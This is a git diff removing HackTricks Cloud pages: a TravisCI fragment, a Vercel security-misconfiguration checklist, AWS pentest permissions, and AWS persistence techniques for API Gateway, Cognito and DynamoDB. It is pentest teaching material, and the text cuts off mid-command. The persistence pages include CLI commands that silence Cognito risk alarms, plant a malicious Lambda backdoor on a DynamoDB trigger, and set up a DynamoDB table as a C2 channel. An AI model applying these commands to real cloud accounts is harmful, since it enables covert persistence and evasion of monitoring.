-.png>)
-
-### TODO:
-
-* Example build with reverse shell running on Windows/Mac/Linux
-* Example build leaking the env base64 encoded in the logs
-
-### TravisCI Enterprise
-
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
-
-* escape to the host?
-* compromise kubernetes?
-* compromise other machines running in the same network?
-* compromise new cloud credentials?
-
-## References
-
-* [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
-* [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/vercel-security.md b/pentesting-ci-cd/vercel-security.md
deleted file mode 100644
index f46ad4fb1..000000000
--- a/pentesting-ci-cd/vercel-security.md
+++ /dev/null
@@ -1,463 +0,0 @@
-# Vercel
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Basic Information
-
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
-
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
-
-## Project Settings
-
-### General
-
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
-
-#### Security Configurations:
-
-* **Transfer**
- * **Misconfiguration:** Allows to transfer the project to another team
- * **Risk:** An attacker could steal the project
-* **Delete Project**
- * **Misconfiguration:** Allows to delete the project
- * **Risk:** Delete the prject
-
-***
-
-### Domains
-
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
-
-#### Security Configurations:
-
-* **DNS Configuration Errors**
- * **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- * **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-* **SSL/TLS Certificate Management**
- * **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- * **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-* **DNSSEC Implementation**
- * **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- * **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-* **Environment used per domain**
- * **Misconfiguration:** Change the environment used by the domain in production.
- * **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
-
-***
-
-### Environments
-
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
-
-#### Security Configurations:
-
-* **Environment Isolation**
- * **Misconfiguration:** Sharing environment variables across environments.
- * **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-* **Access to Sensitive Environments**
- * **Misconfiguration:** Allowing broad access to production environments.
- * **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
-
-***
-
-### Environment Variables
-
-**Purpose:** Manage environment-specific variables and secrets used by the application.
-
-#### Security Configurations:
-
-* **Exposing Sensitive Variables**
- * **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- * **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-* **Sensitive disabled**
- * **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-* **Shared Environment Variables**
- * **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-
-***
-
-### Git
-
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
-
-#### Security Configurations:
-
-* **Ignored Build Step (TODO)**
- * **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- * **Risk:** TBD
-
-***
-
-### Integrations
-
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
-
-#### Security Configurations:
-
-* **Insecure Third-Party Integrations**
- * **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- * **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-* **Over-Permissioned Integrations**
- * **Misconfiguration:** Granting excessive permissions to integrated services.
- * **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-* **Lack of Integration Monitoring**
- * **Misconfiguration:** Failing to monitor and audit third-party integrations.
- * **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
-
-***
-
-### Deployment Protection
-
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
-
-#### Security Configurations:
-
-**Vercel Authentication**
-
-* **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-* **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
-
-**Protection Bypass for Automation**
-
-* **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-* **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
-
-**Shareable Links**
-
-* **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-* **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
-
-**OPTIONS Allowlist**
-
-* **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-* **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
-
-**Password Protection**
-
-* **Misconfiguration:** Using weak passwords or sharing them insecurely.
-* **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-* **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
-
-**Deployment Protection Exceptions**
-
-* **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-* **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-* **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
-
-**Trusted IPs**
-
-* **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-* **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-* **Note:** Available on the **Enterprise** plan.
-
-***
-
-### Functions
-
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
-
-#### Security Configurations:
-
-* **Nothing**
-
-***
-
-### Data Cache
-
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
-
-#### Security Configurations:
-
-* **Purge Cache**
- * **Misconfiguration:** It allows to delete all the cache.
- * **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
-
-***
-
-### Cron Jobs
-
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
-
-#### Security Configurations:
-
-* **Disable Cron Job**
- * **Misconfiguration:** It allows to disable cron jobs declared inside the code
- * **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
-
-***
-
-### Log Drains
-
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
-
-#### Security Configurations:
-
-* Nothing (managed from teams settings)
-
-***
-
-### Security
-
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
-
-#### Security Configurations:
-
-**Build Logs and Source Protection**
-
-* **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-* **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
-
-**Git Fork Protection**
-
-* **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-* **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
-
-**Secure Backend Access with OIDC Federation**
-
-* **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-* **Risk:** Unauthorized access to backend services through flawed authentication flows.
-
-**Deployment Retention Policy**
-
-* **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-* **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
-
-**Recently Deleted Deployments**
-
-* **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-* **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
-
-***
-
-### Advanced
-
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
-
-#### Security Configurations:
-
-**Directory Listing**
-
-* **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-* **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
-
-***
-
-## Project Firewall
-
-### Firewall
-
-#### Security Configurations:
-
-**Enable Attack Challenge Mode**
-
-* **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-* **Risk:** Potential user experience problems.
-
-### Custom Rules & IP Blocking
-
-* **Misconfiguration:** Allows to unblock/block traffic
-* **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
-
-***
-
-## Project Deployment
-
-### Source
-
-* **Misconfiguration:** Allows access to read the complete source code of the application
-* **Risk:** Potential exposure of sensitive information
-
-### Skew Protection
-
-* **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-* **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
-
-***
-
-## Team Settings
-
-### General
-
-#### Security Configurations:
-
-* **Transfer**
- * **Misconfiguration:** Allows to transfer all the projects to another team
- * **Risk:** An attacker could steal the projects
-* **Delete Project**
- * **Misconfiguration:** Allows to delete the team with all the projects
- * **Risk:** Delete the projects
-
-***
-
-### Billing
-
-#### Security Configurations:
-
-* **Speed Insights Cost Limit**
- * **Misconfiguration:** An attacker could increase this number
- * **Risk:** Increased costs
-
-***
-
-### Members
-
-#### Security Configurations:
-
-* **Add members**
- * **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- * **Risk:** Attacker persistence
-* **Roles**
- * **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- * **Risk**: Increate the exposure of the Vercel Team
-
-***
-
-### Access Groups
-
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
-
-**Potential Misconfigurations:**
-
-* **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-* **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-* **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-* **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-* **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
-
-***
-
-### Log Drains
-
-#### Security Configurations:
-
-* **Log Drains to third parties:**
- * **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- * **Risk:** Partial persistence
-
-***
-
-### Security & Privacy
-
-#### Security Configurations:
-
-* **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- * **Misconfiguration:**
- * Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- * Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- * **Risks:**
- * **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- * **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-* **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- * **Misconfiguration:** Not adding critical Git scopes to the protected list.
-* **Risks:**
- * **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- * **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-* **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- * **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- * **Risks:**
- * **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- * **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-* **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- * **Misconfiguration:**\
- Granting access to audit logs to unauthorized team members.
- * **Risks:**
- * **Privacy Violations:** Exposure of sensitive user activities and data.
- * **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-* **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- * **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- * **Risk:** Maintain persistence
-* **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- * **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- * **Risks:**
- * **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- * **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-* **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- * **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- * **Risks:**
- * **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- * **Operational Disruptions:** Loss of service availability for certain regions or clients.
-
-***
-
-### Secure Compute
-
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
-
-#### **Potential Misconfigurations and Risks**
-
-1. **Incorrect AWS Region Selection**
- * **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- * **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
- * **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- * **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
- * **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- * **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
- * **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- * **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
- * **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- * **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
- * **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- * **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
- * **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- * **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
- * **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- * **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
- * **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- * **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
- * **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- * **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
-
-***
-
-### Environment Variables
-
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
-
-#### Security Configurations:
-
-* **Exposing Sensitive Variables**
- * **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- * **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-* **Sensitive disabled**
- * **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
deleted file mode 100644
index 868bfe63a..000000000
--- a/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - Permissions for a Pentest
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
-
-* The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-* To run [aws\_iam\_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- * **access-analyzer:List\***
- * **access-analyzer:Get\***
- * **iam:CreateServiceLinkedRole**
- * **access-analyzer:CreateAnalyzer**
- * Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- * **access-analyzer:DeleteAnalyzer**
- * Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
deleted file mode 100644
index eeeaca42b..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ /dev/null
@@ -1,58 +0,0 @@
-# AWS - API Gateway Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## API Gateway
-
-For more information go to:
-
-{% content-ref url="../aws-services/aws-api-gateway-enum.md" %}
-[aws-api-gateway-enum.md](../aws-services/aws-api-gateway-enum.md)
-{% endcontent-ref %}
-
-### Resource Policy
-
-Modify the resource policy of the API gateway(s) to grant yourself access to them
-
-### Modify Lambda Authorizers
-
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
-
-### IAM Permissions
-
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
-
-### API Keys
-
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
deleted file mode 100644
index ce324c3a2..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - Cognito Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Cognito
-
-For more information, access:
-
-{% content-ref url="../aws-services/aws-cognito-enum/" %}
-[aws-cognito-enum](../aws-services/aws-cognito-enum/)
-{% endcontent-ref %}
-
-### User persistence
-
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
-
-* **Adding a User Pool** controlled by the user to an Identity Pool
-* Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- * Or to an **authenticated Identity Pool** if the attacker can login
- * Or **improve the permissions** of the given roles
-* **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-* **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
-
-Check how to do these actions in
-
-{% content-ref url="../aws-privilege-escalation/aws-cognito-privesc.md" %}
-[aws-cognito-privesc.md](../aws-privilege-escalation/aws-cognito-privesc.md)
-{% endcontent-ref %}
-
-### `cognito-idp:SetRiskConfiguration`
-
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
-{% code overflow="wrap" %}
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-{% endcode %}
-
-By default this is disabled:
-
-
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
deleted file mode 100644
index c8ddc156e..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - DynamoDB Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-### DynamoDB
-
-For more information access:
-
-{% content-ref url="../aws-services/aws-dynamodb-enum.md" %}
-[aws-dynamodb-enum.md](../aws-services/aws-dynamodb-enum.md)
-{% endcontent-ref %}
-
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
-
-{% code overflow="wrap" %}
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
- --function-name MaliciousFunction \
- --runtime nodejs14.x \
- --role \
- --handler index.handler \
- --zip-file fileb://malicious_function.zip \
- --region
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
- --table-name TargetTable \
- --region
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
- --function-name MaliciousFunction \
- --event-source \
- --region
-```
-{% endcode %}
-
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
-
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
- --table-name C2Table \
- --attribute-definitions AttributeName=CommandId,AttributeType=S \
- --key-schema AttributeName=CommandId,KeyType=HASH \
- --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
- --region
-
-# Insert a command into the table
-aws dynamodb put-item \
- --table-name C2Table \
- --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
